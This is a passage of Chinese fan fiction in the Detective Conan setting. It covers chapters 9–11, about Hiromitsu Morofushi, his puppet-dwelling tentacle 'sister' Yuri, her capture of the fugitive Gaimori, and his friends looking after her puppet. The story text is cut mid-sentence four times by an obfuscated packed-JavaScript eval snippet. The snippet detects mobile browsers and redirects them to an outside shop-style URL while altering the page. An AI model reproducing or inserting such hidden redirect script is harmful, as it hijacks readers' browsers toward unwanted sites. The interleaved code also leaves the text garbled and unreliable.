他觉得妹妹应该是喜欢大海的,哪怕在国内他们没有机会实地去过。现在人都在国外了,管他的呢,就算变成奇怪传说也没人能锁定到他身上,国外海边的游客太多了,跟一回头就能遇到好多眼熟认识人的岛国不同,行动起来更自由方便。 “还是算了,黑漆漆的下海不安全,而且沙子会进去。” 妹妹火速拉上浴帘,在浴帘遮掩下从木偶妹妹里游动出来,顺滑的落入浴缸,全部浸泡在里面。 浴缸水溢出一大部分,顺着外面地上的排水口流出。诸伏景光大约估计了一下排出的水量,有些纠结的提醒了一下。 “你是不是又胖了,有里?我明明是按照上次见面的时候你的身材估算过才放的水。” 帘子后面的黑色触手影子扭动:“讨,讨厌,竟然研究女孩子的体型,色狼。才没有胖,人家还在成长期啊,成长期。” 当哥哥的不禁叹息:“我是担心你现在穿的人偶会不会有点拥挤,好不容易来国外,要不要来一套新人偶?就算不是精心订做的傀儡,也有很多可以使用的种类吧?SD娃娃,布艺人偶什么的。” 他没敢说俄罗斯套娃,哪怕这个名字在他心中浮现了一下,可惜一想象到假如自己说出口,会被妹妹如何拍打泼水,他便忍痛咽下了。 “啊,还有人体模特,这个可能体型更大活动更方便?” 景光的灵机一动,他觉得这个主意还算不错。 妹妹听完开始一一分析:“普通娃娃的空腔不如傀儡大,还不容易操纵。商场模特的关节是固定死的,能活动的那种基本是拼接型,关节连接两个不同部分,实际穿起来同样不方便,得挖洞才能穿过去。倒是大型人偶公仔非常不错,无论是谁都能穿在里面活动自如,上次我穿过,活动起来还挺方便。” 景光瞪大眼:“什么,有里穿公仔服?想看!竟然没有让哥哥第一个看到,我这就去下单买!” 妹妹摆摆触手:“租就可以了,有很多专门租借的店哦。” “竟然可以租的吗?” “一般都是商场或者游乐场活动使用的东西,尤其是游乐场跟公园,平常不用的时候都放在那里,还不如租出去回笼资金。” “商家好有商业头脑!换我就直接二手卖掉了。” 在国外呆过一段时间的妹妹解释:“国外的运输费比较贵,直接卖掉的人还是比较少的。我现在入职的公司里也经常遇到这类问题,在国外清洁工具跟清洁液不好买送不到什么的,有时候需要公司员工专门开车去送,很不方便呢。哥哥要在这边工作,最好买一辆二手车比较好。” “嗯,嗯,这是个不错的建议。本来我还想租,但是想跟有里一起经常出去玩,还是买一辆更划算。” “做不到经常,我还要工作啦,哥哥也是。啊,活过来啦,还是泡一下更舒服。” 景光赞成:“还是泡一下更舒筋活血。说起来你在公司具体的工作如何,辛苦吗?” 所谓的自由职业,就是经常跳槽换工作的美化版说法。是的,在第一次听说妹妹竟然能被公司录取的时候他都傻了,就连妹妹都能被录取,这家公司还真是‘忙到连触手都借来用’啊!最近入职的这家岗位貌似是保洁,明明在家里连扫帚都不爱用,妹妹真是长大了。 “还算好吧,工作频率不算频繁,就是工作地点都很远。有一次让我跑去一个厂房,清理整个建筑,甚至包括天花板。前辈为人耐心,却很挑剔,总会指责我遗漏了这个那个,被老鼠嗅到气味什么的。被指导过一两次我就做得很好了,我想我已经慢慢适应。” “刚一开始工作是会这样,真是辛苦你了。餐饮方面怎么处理?哥哥说过不要在外面随便捡路边的活物吃吧,那样容易吃坏肚。” 景光想起小的时候,妹妹会突然把路过的野猫野狗抓过来,真是吓一跳,他一再教育妹妹,猫猫狗狗不是食物。尽管妹妹不理解这跟老鼠有什么不同,还是尊重了他的要求。 “哥哥你又在用古早观念老生常谈。什么外卖不卫生有害健康啊,工作的时候怎么顾得了那么多,肯定是有什么吃什么。大部分时候的确会自带餐食,但不会总这么悠哉。” 妹妹有理有据的反驳,正如任何一个上班族,要不要带饭总会成为问题。 “唔,那可不行,看来还是得我来帮你准备——” “哥哥也有自己的工作不是吗?这种小事我自己解决就好。总不能让哥哥投喂我一辈子,我也要考虑独立生活的问题。说起来公司的前辈也会偶尔给我带饭,真的很贴心。他会不会对我有意思呢?” “什,什么?怎么会,那个人肯定不怀好意!跟他保持距离,不要吃陌生人给的食物啊有里!” 哥哥的焦点被转移,立即表现得痛心疾首。 “什么嘛,前辈才不会,他是个冷漠寡言的人,很多人误会他,实际上他是那种从细节看得出体贴的类型。比如其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527789|203593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他人搞砸工作总拜托前辈来收尾,前辈不仅能完美完成自己的任务,还经常帮助其他后辈,给他人托底。” “哪怕是面对不讲理哇哇大叫的女性后辈,前辈也能很耐心的细心解释工作内容。对了,他不会对女性员工性别歧视,在这个年代还挺难得。唯一缺点就是作风老派不够时髦,大部分时候都只穿一身同样款式的衣服。” 景光抱着胳膊嗯嗯两声点头赞同。 “的确会有那样的类型,工作起来很可靠,真要论交往,还是欠缺一些魅力。” “对了对了,我们公司有流动性别者呢!” “什么,真的吗?好新潮,不愧是涉及国际业务的大公司!” “是个外国人,那个人心理性别是女性,还喜欢打扮成女性化妆得漂漂亮亮,但是他的生理性别是男性,只跟女孩子交往。真不知道这种到底要按照心理算,还是按照生理算,是异性恋还是同性恋?” 景光点头附和:“好厉害,不愧是外国人。” 严格来说妹妹也算流动性别这件事,还是不说为妙,会被她说歧视。 “对我来说,公司文化里最震撼的就是包容性吧,不过那位严肃的前辈似乎觉得这位同事很恶心。真的觉得自己是女的就应该割掉,他曾经这么说。结果被当事人听到大闹一场,两人的关系因此不太好。” 景光干笑:“的确是会出现那样的场景,对老派一些的人来说,简直是在瞎胡闹。观念上的冲突肯定没办法。” 他觉得如果是妹妹无论对方是男的还是女的都可以,毕竟是触手嘛,应该两边都可以。 “公司内部的派系斗争貌似也挺激烈,我的另一位女性前辈告诉我,因为大老板做甩手掌柜,底下的人分权严重,已经很多人都在暗中站队了。中立党会被两面夹击,被逼着站队。她劝我不要太早站队,先跟着她混。她貌似还挺有来头的,跟她的人也不少。” 景光满头黑线:“说是劝你别站队,其实这不是让你站到她那一队吗?也就是说公司内部其实是三权分立,把老板完全架空?听起来好乱,这个公司没问题吧,别到时候没工作多久就四分五裂。” “这倒不必担心,毕竟底蕴充足,瘦死的骆驼比马大。光说我了,哥你的工作呢?说是国外实习,具体公司是干什么的,还有职位薪酬如何?” 景光猫猫头叹气:“说起来可能你不信,到现在我都不知道我要去实习的公司叫什么名字,具体岗位是什么。” 就连公安派出他交代任务的时候都说的是,你们去卧底黑衣组织——竟然直接代称为黑衣组织?要知道国内外有多少Mafia都喜欢穿黑西装啊,实在是太敷衍了。 “偶尔也会有这样的情况,海投简历的时候还蛮容易遇到。面试电话打来,完全无法分辨具体是哪个公司的哪个岗位,又不好意思开口询问,怕对方觉得你对这份工作敷衍。的确有点伤脑筋,这就是社会人的烦恼吧。” “谁说不是呢。” 9. 第九章 数年之前,警校附近。 奔跑声由远及近。靠近之后,看着眼前的场景,诸伏高明惊讶的瞪大凤眼,果断举枪亮出武器。 “高明哥?!” 妹妹惊讶的声音响起。 没人想到,本该远在长野的诸伏高明会出现在这里,出现在东京,出现在他们,他,妹妹,还有外守一的面前。 是的,外守一出现在警校附近,改名换姓,偷偷的监视着诸伏景光,他却没有察觉。童年的记忆总是暧昧而模糊,直至被高明哥,以及警校同期们提醒,他才注意到当年自己的藏身之处根本不是橱柜,而是对门开的衣柜。 当年他通过西式装修下的横向衣柜缝隙,所看到的杯子图案纹身,其实是遮挡下光影造成的错觉,那本该是两尊面对面的观音图案纹身。被遮挡了上下部分之后,面对面的空白部分看起来如同高脚杯形状。 那么曾经出现在警校附近的送洗衣服人最值得注意,他手臂上就有类似的纹样。 然而不知道是不是察觉到风吹草动,本身就很敏感的逃犯不见踪迹,他们白天找了一圈都没找到,不得不报告附近警察部门协助寻找,可惜结果依然没有找到。 他的同期们,以及警校教官都很担心,犯人的目标明显是他,诸伏景光是最容易被攻击的对象,安全起见,还是应该待在警校宿舍,不要出去。 但,在发现一个附近的小女孩,跟外守一的女儿外守有里年龄差不多的孩子失踪之后,事态有些失控。 教官们拒绝让他参与搜查,同期们也担心他的安全,与他寸步不离。 诸伏景光内心深处翻腾的不是仇恨,而是担忧,还有埋藏极深,隐忍不发的愤怒。 不是对犯人,而是对自己。 明明看到过外守一的照片。明明当年多问几句,就能知道纹身图案的真相。为什么他没有注意细节?为什么他没有记住当年的详细情况?如果出现新的牺牲者,全部,都是没有及时发现犯人近在眼前的他的错。 “有里发现那个人是谁了对吗,为什么不告诉我?如果我知道,如果知道是他,我早该把他——!” 他甚至情不自禁的控诉妹妹,明明他知道,最初的最初,有里是多么的无知与脆弱,犹如婴儿一般纯白无暇,强求她去做到作为当事人的自己都没做到的事,实在是太过苛责严厉。 “对不起,哥哥,不要生气,不要生气,有里错了。有里会去弥补这个错误,请哥哥不要生气。” “有里?等一等,有里!” 都怪他的口不择言令有里产生误会。 诸伏景光追出来的时候,是在凌晨两点钟左右。那时候本该无人注意,哪怕他的同期们也全都深深入睡。 他跟随着有里快速游动的痕迹,来到一处住宅附近,他跟着一种感觉,一种难以描述,兄妹之间的无形联系,翻墙进入住宅的内院。 本该没有人的,就算是其他人真的发现他,追踪上来,也不该跟他一样翻墙而入。私闯民宅,都不知会违反多少条纪律跟规定。 但是他做了。 诚如他所料,正如他所担心的那样,有里足够聪明也足够危险。 他不该因为寂寞,偶尔偷偷将有里代入警察学校。 她正如他一样学习的又快又好。瞬间缠绕喉咙,紧扼身体各处要害的技巧,哪怕用一根触手,她都能做到最好。 “快住手,有里!” 哪怕他在看到的瞬间开口制止,正如任何一个被蟒蛇袭击的生物,就在那么几秒钟的时间里,瞬间发生的庞大挤压,令外守一骨骼碎裂。 他很走运的没有死,可依旧痛苦的试图哀嚎,可惜他的喉咙被填满发不出声音。 多么……体贴的妹妹,及时停手,还不忘记控制对方的声音,避免引来太多人注意。 就算诸伏景光改主意了,她也可以再次反转,为各种有可能进行的继续操作做好完全准备。 “哥哥……不要了吗?抓到哥哥想要的家伙,现在不想要了吗?” 妹妹那时候天真的询问。 “不,不是,我不是那个意思,抓还是要抓……” 景光艰难的解释,他觉得误认为自己想要外守一,就果断跑去准备把人抓给他的妹妹有些可爱,就像半夜跑出去叼老鼠回来带给饲主的可爱猫猫。 他本来害怕妹妹会不小心把外守一吃掉,毕竟之前她也表现出有点分不清食物范畴的缺乏常识。 原来,只是要抓住啊,就是力道大了些,太危险了,差点真的碾死了吧,那样就糟糕了。 就算未来真的有一天无法避免,妹妹的第一次,还是不希望交给这样一个神经病。 “哥哥不要,那,我可以——” “不能吃掉,不能吃!会吃坏!” 诸伏景光在自己面前比了一个叉。 对天真的儿童别不要费力气解释什么伦理道德,那对他们过于复杂。先告诉他们不可以做的事的范畴,至于为什么,以后再慢慢学。 “那,我可以用吗?钻进去,穿上,新衣服?” 哪怕是习惯妹妹童言童语的诸伏景光,也呆愣住了。 比起惊讶于妹妹将人类当做衣服准备穿起来,他更震惊于妙龄少女居然不觉得一个臭老头难看?妹妹的审美明明不错,既然可以穿人类,她本该选择他的那些帅气同期,好比降谷零又或者萩原研二,可她提都没提过。 也就是说,妹妹一直在意他的看法跟想法,直到今天遇到了身为坏人的外守一,才终于提起这个问题?我的天,我的妹妹简直善良到闪闪发光!还很聪明伶俐,善解人意,她莫非是天才,这也太贴心了吧? 内心进入蠢哥哥夸夸模式的诸伏景光,一时间没能来得及做出合适的应对反应,令妹妹以为是默许了。 她缓慢又带点偷感的咕噜咕噜往里钻,去掉哥哥对她的妹控滤镜,此情此景,哪怕放在任何一部B级血腥片都是高潮迭起的惊悚场面。 也就是在这个时候,脚步声响起,有人快速接近,竟然有人跟景光一样翻墙进来了。 妹妹的动作停止。 景光的呼吸也跟着停止。 他们如同被定住的木偶,维持原本的姿势一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527790|203593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动不动。 站定他们面前的诸伏高明,瞳孔紧缩一下,他的枪,指向面前的非人之物。 “高明……哥?!” 哥哥跟妹妹异口同声道。 你无法想象此情此景,对于相信科学,一直作为一个极为认真的男人成长到现在的诸伏高明,带来怎样的震撼。 他的确听过妹妹的声音,也听过自己的弟弟诸伏景光,与妹妹一起交叠发声,他的确也曾产生过怀疑,但,周围的所有人告诉他,包括他自己都相信着,那是腹语,操纵傀儡的一种技艺,是傀儡师傅的看家本事。 他之前以为弟弟因为惨案造成人格分裂,可不管怎样都是他的弟弟,就算无法治好,只要能被自身跟周围人接受,获得最适合自己的生活就好。 因而诸伏高明一直觉得比起做警察,还是做操纵傀儡的艺人才是更适合景光的选择。文乐表演才是最适合景光,能够充分展现他技艺跟智慧的最佳舞台。 可,现在这些都是什么?他到底在看什么?眼前的一切,又都是什么? “你……是什么东西?” ……以……以治待乱,以静待哗,此治心者也。 孙子兵法的军争篇之中的段落词汇,浮现在诸伏高明脑海之中,换成大白话,就是谁先慌了谁就输,莫慌莫要乱! 然后,他就看见自己的弟弟,以温和的,亲切的,苍白又美丽,同样异常又令人战栗的笑容,轻声对他说—— “哥哥,这是有里呀?我们亲爱的妹妹有里,爸爸跟妈妈留给我们唯一的纪念。那颗蛋,还记得吗?从里面孵出来的就是有里。幸好有妹妹一直在我身边,不然真不知道我会变得怎样。哥哥也见到过有里几次不是吗?那时候还夸有里穿着的衣服很漂亮。” 说到这里,景光抬头看向有里,连忙伸展开手臂,让有里迅速脱离外守一,攀爬到他的身上。 害羞的有里滑入景光的脖领,将自己的大部分藏在年轻的警校学生宽阔的肩膀之后,只从他的脖子后方露出一点小触角,幅度明显的上下点了点,如同在打招呼。 “对不起,让高明哥你看到了难堪的样子,有里有些不好意思。在兄长面前做这种事,实在太过有失礼仪。” 诸伏高明感到自己的意志难以集中,他捂住头,半跪在地上,却怎样都难以遏制突如其来的晕眩感。仿若天地颠倒,视线中的一切扭曲,诡异的是,不像是视觉产生幻觉或错觉,更像现实本身似乎在膨胀,压缩变形。 他难以控制自己的身体,瞬间断片了。 醒来之后,大家都告诉他,外守一已经被抓到了,在追捕的过程中,由于过于害怕,跳墙逃跑的时候摔碎了骨头。至于他自己,是因太过疲劳才在现场昏了过去。 他也见到了来探病的景光,景光拿了一大堆水果,还跟着一帮警校同期的朋友。大家看起来都很正常,景光也因抓获凶手而如释重负,仿佛只有他自己做了一个极为荒谬的梦。 但…… 病床之上的诸伏高明看向自己的弟弟,目光锐利如刀。 ——知己知彼,百战不殆。 10. 第十章 ……又梦到了,那时候的情景。 诸伏高明从床上下来,起身走到桌前,拉开台灯,看向桌前铺散开来,有关各个废弃神社,在附近图书馆之中残存的记录跟资料。 基本有找到类似触手形态的神灵的相关记录,至于石球状神体的相关记录,实在太多了,全国各地都有。再加上很多地方的记录都不完整,他只能将有着类似传闻的地点一个个筛选,再亲自去附近逐个亲自确认。这类小众的民俗传说,在网上基本查不到,只能一个个实地去考察。 “妹妹……吗。” 为什么不是兄弟,父母,宠物,偏偏是妹妹?是因为有里吗,当年在郊游中得了急性阑尾炎过世的孩子?父亲是否在女孩去世后懊悔过,如果能更早的注意到问题,将她更快送去医院就好了?这些懊悔是否曾经也对其他的家人透露出来?景光是否因为外守一的事情,也对有里心存懊悔? 如果是这样,神体可能会在很大程度上受到信徒的意念所影响。祂本身也许没有指向性,更类似于一个万能许愿石,是信徒的意念与想法,影响了祂的表现形式。 诸伏高明快速翻动纸业,在这些复印,与放大后的照片打印件里,他挑选出来其中的一张。 那是一份放大到A4纸大小的,石碑文字内容的拍摄。这一段的描述,翻译过来就是: 异光,剧震,天崩地裂,海啸迭起,海面之上显灵石。民众叩拜,献祭活畜,得以与其沟通,实现愿望。巫女梦中闻胎动,称将诞异神,立此碑以记录,望后代供奉不可断,避免成为灾厄。 最初看到这段时,他还以为这是借用了西游记里孙悟空形象的一段描述。传说中的孙悟空就是一颗感染灵气的石头里蹦出来的石猴,超越凡尘不归天地所属,因而不受管制,干出大闹天宫,自称齐天大圣的事。 神话传说与民俗之类的,经常会相互借鉴,传说故事互相篡改,张冠李戴实属常见。他本以为这是类似的一个受到其他传说影响后变形的民俗记录。 但,如果是真的呢?抛去所有客观描述和想象,这段记录的相关描述,是不是像极了在描述天外陨石?前半段的描述是陨石降临时引发的灾难,后半段,能够浮在海面上,难道这是一颗冰陨石? 不对,冰陨石的实际密度也偏高,未必真能浮起来,而且冰的话真要传承至今恐怕早就融化了。 诸伏高明想起来当年碎裂的石壳。 石头,是中空的! 如此说来,明明是那样大一颗石头,还是小孩子的诸伏景光居然还能四处拿着跑。当年觉得太过幼稚,诸伏高明对石头丝毫不感兴趣,没有拿起来石头观察。 一颗来自天外的陨石,空心部分包裹着某种东西。UMA?外星生物? 恐惧来源于未知,只要成为已知,就不再可怕。 “先知者,不可取于鬼神……必取于人,知敌之情者也。” 这句话的意思是,不要相信鬼神或者占卜,唯有切实获得来自人的情报才最为可信。 诸伏高明不信玄学,他信孙子兵法。比起神异之事,考察确切存在的情报才可确定真实。 哪怕弟弟管奇怪的触手叫妹妹,哪怕触手来无影去无踪,还能无限压缩在很小的木偶里,哪怕触手竟然能说话,还有弟弟对那个存在的认知跟感知都有着一种莫名扭曲——全都只是现在无法解释,未来科学发展之后能够做出解释的客观现象。 诸伏高明放下文献,躺回床上。 恐惧来自未知,一旦变成已知,他觉得没道理自己会继续做噩梦。 ……好吧,当年他的确有被吓到,的确,有那么一点。 * “——有里!你都用哥哥的电脑浏览了什么,为什么会中病毒?等一下,这是什么?” “干嘛啦不要看不要看,不要恢复已删除记录!” “巨型乌贼大战鲸鱼?有里,你……只是一根触手,根本不是乌贼,乌贼可以做到的事,你根本做不到啊!就算看了也只是徒增烦恼,只剩空虚而已。” “闭嘴,就知道哥哥你会这么说,才不希望你看到。讨厌,怎么可以偷看别人的浏览记录!我讨厌哥哥,我要离家出走!” “哥哥错了,哥哥只是合理担心,因为你总说公司前辈什么的……等一下,有里不可能喜欢那样的类型吧?反正都是触手了,就不能去喜欢香香软软的女孩子吗?一定要喜欢男的,我可以把我的好朋友介绍给你!” “都在胡说八道些什么呀?笨蛋哥哥,人家是在学习格斗技巧。” “格斗技巧?” “对啊,毕竟普通的格斗技巧根本不适合我啦。” “那完全可以选巨蟒捕猎的视频呀!” “小时候早都看过了,再说巨蟒又没有吸盘。这是我自己的问题,哥哥最好不要管。” “呜呜呜,哥哥听着都伤心了。小有里都嫌弃哥哥了,说哥哥管太宽。肯定是有什么坏人给你灌输这类思想,不要信他们,他们又没哥哥,他们是在嫉妒你,挑拨我们兄妹关系!” “哥哥你啰哩巴嗦简直像欧吉桑,你跟高明哥哥一样,从心理上都已经彻底变成大叔了,大叔!” “大,大叔?!高明哥倒也算了,我才不是大叔!” …… 诸伏高明,竟然梦见了自己被一根触手还有自己的弟弟叫欧吉桑,貌似,今晚也没有什么好梦的样子。 * 对于降谷零来说,他的好基友诸伏景光从各种方面来看,都是一个优秀到近乎完美的男人。甚至让人都会忍不住产生:究竟是谁把他派来做卧底,是不是在过分嫉妒他,想毁坏他的未来与人生这类想法。 是的,与他们这些传统警校培育出来的学生还有点不一样,诸伏景光同时还是一位优秀的傀儡师。 他可是能够正式登台演出,曾拜师那一位国宝级大师橘左近先生的的傀儡师啊!懂不懂其中的含金量!万一他出了什么问题,他的手出了什么问题,是全人类的损失! 哪怕内心如此咆哮,降谷零还是以表面的冷静掩饰了过去。每个人都有每个人的想法,景光也说他想从这段履历之中获取更多的社会经验来提升自我,总之,只是个卧底任务,选择走情报路线不就好了…… ……为什么你选行动组还勾了狙击?景光啊,景光!你到底在想什么! 再次忍住内心暴风咆哮,降谷零差点没绷住为卧底任务专门修行过的扑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527791|203593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 克牌脸。 在两人成功混入组织,天台聊天之时听到景光提起想要继续看着他自己的妹妹时,降谷零他终于忍不住吐槽了。 “喂喂,你都已经进入组织卧底了,还跟妹妹有接触也太危险了,哪怕你哥哥不愿意收留你妹,也可以拜托一下父母朋友照料吧?为了任务,也为了你妹的安全,你必须狠心放手。” 是的,近乎完美无缺的幼驯染,只有一个相当难搞的缺点,他是个妹控。妹控到了什么程度?在警校的时候,因为见不到妹妹,他还曾把自己常用的人偶当做妹妹的替身带到男生宿舍表演兄妹情深,真是够了。 可考虑到景光过去的经历,降谷零很难去苛责对方。父母被残忍杀害,兄长又被其他人家收养,妹妹恐怕就是景光唯一的精神寄托了。虽然他没有见过面,但是从景光描述听来,是个温柔又体贴的好孩子。这样的孩子进入了叛逆期,也难怪景光会担心。 可是现在的情形下,身为卧底的他们实在无法面面俱到。要么干脆一点退出任务,要么专业一点处理好身边的人际关系,景光自己也应该知道该做出哪样选择,现在恐怕只是单纯在无能狂怒。 “友人,对啊,我可以拜托松田跟萩原,我怎么没有想到?只是松田好奇心很强,我怕他会对有里动手动脚,萩原则是另一种意义上让人担心,我怕妹妹会被他带坏。” 降谷零再次吐槽:“不要一遇到你妹的事,立即脑子变成浆糊,他们俩怎么可能对朋友的妹妹出手,多少给他们一点最基本的信任啊!” 哪怕是花花公子萩原研二,也不会轻易触碰雷区吧?考虑到在警校时,某个妹控曾把他们吓得满地乱爬。当时只是因为妹妹人偶的衣服被弄乱,可怕的妹控就如同还魂尸一样把那两人折腾得够呛。 “我再好好考虑一下。谢谢你,Zero,这是一个很不错的建议。” 回顾警校时期,诸伏景光和降谷零是挚友,萩原研二跟松田阵平是挚友。降谷零跟松田阵平不打不相识,伊达航班长替他们在教官面前掩护打架的事,于是五人相识,成为朋友。 后来又发生了许多事,经历过一个个案件之后,他们的关系紧密起来。不过,哪怕同样是朋友,也会有亲疏之分。比起其他人,诸伏景光还是跟降谷零关系最好。 说实话,本来以诸伏景光他自己的性格,无论是脾气不好直来直去的松田,还是过于圆滑略显轻浮的萩原,全都是他有些苦手的类型。 还是零比较厉害,优秀的人果然很容易跟别人成为朋友。通过零与他们互相熟悉之后,你会意外发现这些个性十足的家伙,对朋友都相当不错,跟他们相处起来其实非常愉快。 也对,不能只考虑消极的一面。如果是松田,应该会比任何人都注意妹妹人偶保养。萩原的话,总是非常的耐心细心,还善于倾听,与他相处,对于妹妹了解社会人际关系会有很大帮助。 而且妹妹之前已经说了,饮食能够自理,那么只需要拜托朋友帮忙保养一下人偶就好。 决定了,自己不在的时候,可以拜托他们两个照看妹妹。他们都是很好相处的人,应该会很乐意接受他的请托。毕竟,高明哥不太喜欢妹妹的样子,还是拜托他们比较妥当。 11. 第十一章 松田阵平与萩原研二,两位爆.炸物处理班的拆弹专家,今天收到一件寄给他们两人的快递。 “什么叫做妹妹需要劳烦你们照顾了?哦,还有一本说明书?” 当收到一个可疑快递,拆开一看里面有一个木盒,木盒上面还放着一份说明书的时候,松田阵平不禁咋舌。 “寄件人没写名字,但包装纸很眼熟啊,应该是某个熟人干的。你看看这家伙在搞什么鬼。” 他将说明书转交友人,萩原研二看完不禁汗颜。 “很详细的说明书,写着照顾妹妹须知,就好像那个漫画,叫什么来着,恐怖宠物店里面的场景。我们之中有个妹妹的只有诸伏,难道他瞒着我们偷偷签订了不该签订的魔法契约?” 松田捧起木盒:“标注着易碎轻放,手感跟重量也不像机械物品。我先拆开看看。” 打开之前,两人都忍不住屏息凝神。 打开之后,两人变成豆豆眼,随即萩原研二耸肩忍笑,松田阵平以死鱼眼望去。 “搞半天是这个妹妹啊!” 两人都见过这尊人偶,当时还给他们俩造成了不同程度的心理阴影。 回忆起来,那时候…… “景老爷是在睡觉吗?班长让我把这个转交给他。” 松田阵平看向隆起的床铺,三两下走到跟前去掀被单。 “等一下,那是——!” 降谷零本想开口制止,松田已经把被单扯开。 “呃!什么东西这是?!” 松田阵平倒退两步,被吓了一跳。仔细定睛一看,才发现这竟然是一尊穿着和服的木质人偶。 人偶的面孔巧夺天工,瞬间抓住人的眼球。仔细观察,可以看清人偶的口部由木质构件组装而成,她的嘴可以动——原来这是一具巧夺天工的机关人偶。 本身就对组装感兴趣的工科男立即见猎心喜,他小心的用双手将人偶从床上举起来端详。 “快住手,那可是小光的宝贝!” 松田阵平根本没有听,一手举着人偶,另一只手来回摆弄人偶的球状关节。 “碉堡,这就是那个吧,布袋戏上用的那种傀儡,我还是第一次见做的这么大的!” “这个应该是净琉璃,用作舞台演出的那种。看起来很精致啊!” 萩原研二从门外晃悠进来,他对有趣的东西很敏感,一看有乐子就挤过来看了。 松田不解:“什么琉璃?有哪个部件是玻璃做的吗?” 降谷零试图阻止无效之后,只得出言解释。 “是人偶净琉璃,也被称作文乐。一般结合人偶操控,净琉璃说唱,与三味线伴奏为一体的傀儡戏。比较有名的表演就是净琉璃御前与牛若丸的恋情,于是这种曲艺方式被命名为净琉璃。” 降谷零如同百科字典一般,十分耐心的讲解。 “到了现在已经被划分为非物质文化遗产,在国际上都有很高的文化地位。” “哦~!” 两位同期异口同声,听起来挺厉害的样子。 “我能拆开看看吗?” 松田阵平蠢蠢欲动。 降谷零呲牙:“别开玩笑哦笨蛋,这具人偶比你的全部家当都昂贵。” “你说什么,谁是笨蛋!” “谁承认谁就是。” “哇哦,哇哦等一下你们两个,要玩闹先把人偶放下,这么精致的人偶,一看就充满了金钱的味道,弄坏可就麻烦了!” 萩原研二不知人偶具体价格,可他能一眼看出,这跟自己以前见过的表演人偶,从做工到神态上都不是一个档次。这类东西甚至有价无市,真弄坏了,卖了小阵平都未必赔得起。 两个幼稚鬼不约而同冲对方哼了一声,才松开揪扯彼此的手。 “这是诸伏的吗?他竟然有这么专业的东西。” 萩原研二把话题又带回来。 降谷零很给面子的解释:“景光家里人是做这一行的,他小时候也一直都在学习操控人偶。虽说他选择了警校,可他貌似也不准备放弃学习傀儡操控,未来的事谁也说不准。” 松田嘴角一抽怪笑:“哈,哈哈哈,真不愧是景老爷,没有面包还有蛋糕吃吗,太过高大上反倒让人没有真实感。话说为什么他要来警校啊?” 松田本来就觉得警察这个职业不怎么样,有着更好选择的大少爷是在想什么啊,偏要来做费力不讨好的事。 注意到降谷零眼神有所变化的萩原研二抬手搂住自己幼驯染的脖子,很自然的敷衍过去。 “嘛,每个人都有自己的想法。等等,也就是说小诸伏可以操控这个吗?厉害啊!” “我也能操控,这种东西,研究一下就——” “笨蛋你别乱动,小光真的会生气!” 就在几人又纠缠在一起的时候,宿舍门再度打开。 三人迅速站成一排,看起来在勾肩搭背,实际隐藏了几只手在背后,抓着娃娃将其藏在身后。 降谷零脸色苍白,他完全是下意识反应,这样一来,自己岂不是也成了同党? 幸运的是降谷零的脸本来就够黑,就算苍白了,也没苍白几个色号,一眼看起来并不明显。 “你们在做什么?” 推门走进来的诸伏景光奇怪的问道。 “没,咳,班长让我送资料给你,放桌上了。” 松田假咳一声,在背后把娃娃塞降谷零手里。 降谷零汗流浃背,赶紧又把娃娃塞过去。 松田躲开手,结果娃娃被塞在萩原手上。 萩原研二急了,赶紧又往回塞,可是没人接,毫无同伴情谊的两人不仅撤回了双手,还有志一同离开了他。 这回轮到萩原研二汗流浃背,他只能继续选择双手在背后抓着娃娃,用自己的身体挡住娃娃的身形。 觉得他们三人奇奇怪怪,但并未多想的诸伏景光走过去拿资料,正准备路过研二,就被他的另外两名同期两面夹击围住。 “哦呀,景老爷呀,这份资料说的运动会准备的功能饮料可不可以换成我喜欢的牌子?” “小光,我觉得资料里的数据是不是不太准确,我来帮你看看。” 趁着两人挡住他的视线,萩原研二电光火石之间闪到诸伏景光床铺前,把娃娃塞进去,盖上单子,一气呵成。 三人齐齐松口气,又随便聊了几句,正准备战略性撤退,就见收好资料的诸伏景光已经走到床前掀起自己的床单。 三人动作定住,有点不敢看那个方向。 会被发现吗?不会吧,他们已经复原了。 就在这个时候,令他们毛骨悚然的事发生了。 “哥哥,你回来啦?刚刚有人掀我的裙子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 